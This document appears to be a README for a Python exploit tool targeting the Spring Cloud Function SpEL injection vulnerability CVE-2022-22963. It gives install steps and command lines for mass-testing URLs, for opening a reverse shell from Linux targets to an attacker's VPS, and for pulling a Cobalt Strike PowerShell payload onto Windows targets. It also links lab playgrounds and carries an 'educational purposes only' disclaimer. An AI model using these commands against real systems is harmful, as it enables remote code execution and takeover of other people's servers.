Exploit for Code Injection in Vmware Spring Cloud Function

## https://sploitus.com/exploit?id=3389F104-810F-5B22-8F78-C961A94A8C27
# Spring Cloud Function SpEL Expression Injection Vulnerability (CVE-2022-22963)

>The Spring framework provides a comprehensive programming and configuration model for modern Java-based enterprise applications (on any type of deployment platform).>
>In the Spring Cloud’s “serveless” framework, the RoutingFunction class’s apply method processes the “spring.cloud.function.routing-expression” parameter in the request headers as a SpEL expression, allowing attackers to execute arbitrary code through this vulnerability.>
>Affected versions: 3.0.0.RELEASE
>**The script is for educational purposes only. Any legal responsibilities arising from its use are not related to the author.**

## 1. Installation (Installation module)

```shell
pip3 install -r requirements.txt
```

## 2. Usage

`python3 spring-cloud-function-rce.py -h`

![image-20220414184058525.png](README.assets/image-20220414184058525.png)

>- `u`: Specifies a single URL for DNSLOG testing.
>- `e`: Specifies the reverse shell mode.
>- `s`: Specifies the target host operating system; default is Linux. Use with `-i` and `-c` parameters.

## 3. Examples (Use cases)

### 3.1 Testing a single URL

`python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/"

![image-20220414184202055.png](README.assets/image-20220414184202055.png)

### 3.2 Testing multiple URLs

`python3 spring-cloud-function-rce.py -f "urls.txt"

![image-20220414184424640.png](README.assets/image-20220414184424640.png)

>- 123.58.236.76:47874 is Vulfocus’s Docker playground. Since the nslookup command is not installed, the DNSLOG test fails.
>- The URLs for batch testing must be at the root directory of the website. http://192.168.50.222:8080/ is the root directory of the locally set up playground. Adding a test directory will make the POC ineffective.

### 3.3 Getting Shell on a Linux Machine

`python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/" -e -i "vps_ip_address:5566"

![image-20220414185231029.png](README.assets/image-20220414185231029.png)

### 3.4 Getting Shell on a Windows Machine

`python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/" -e -s "win" -c "http://vps/a"

> `-c` specifies the address where the CS generates PowerShell scripts. It must be used together with `-s "win"`. The `-c` option requires the script to run on Windows, and it will call PowerShell for POC encoding.

![image-20220414185711222.png](README.assets/image-20220414185711222.png)

![image-20220414190020294.png](README.assets/image-20220414190020294.png)

## 4. Playgrounds

### 4.1 Building a playground yourself using Idea

### [Reference link](https://www.anquanke.com/post/id/271167)

### 4.2 Docker Playgrounds

[vulfocus](http://vulfocus.io/)

![image-20220414190509578.png](README.assets/image-20220414190509578.png)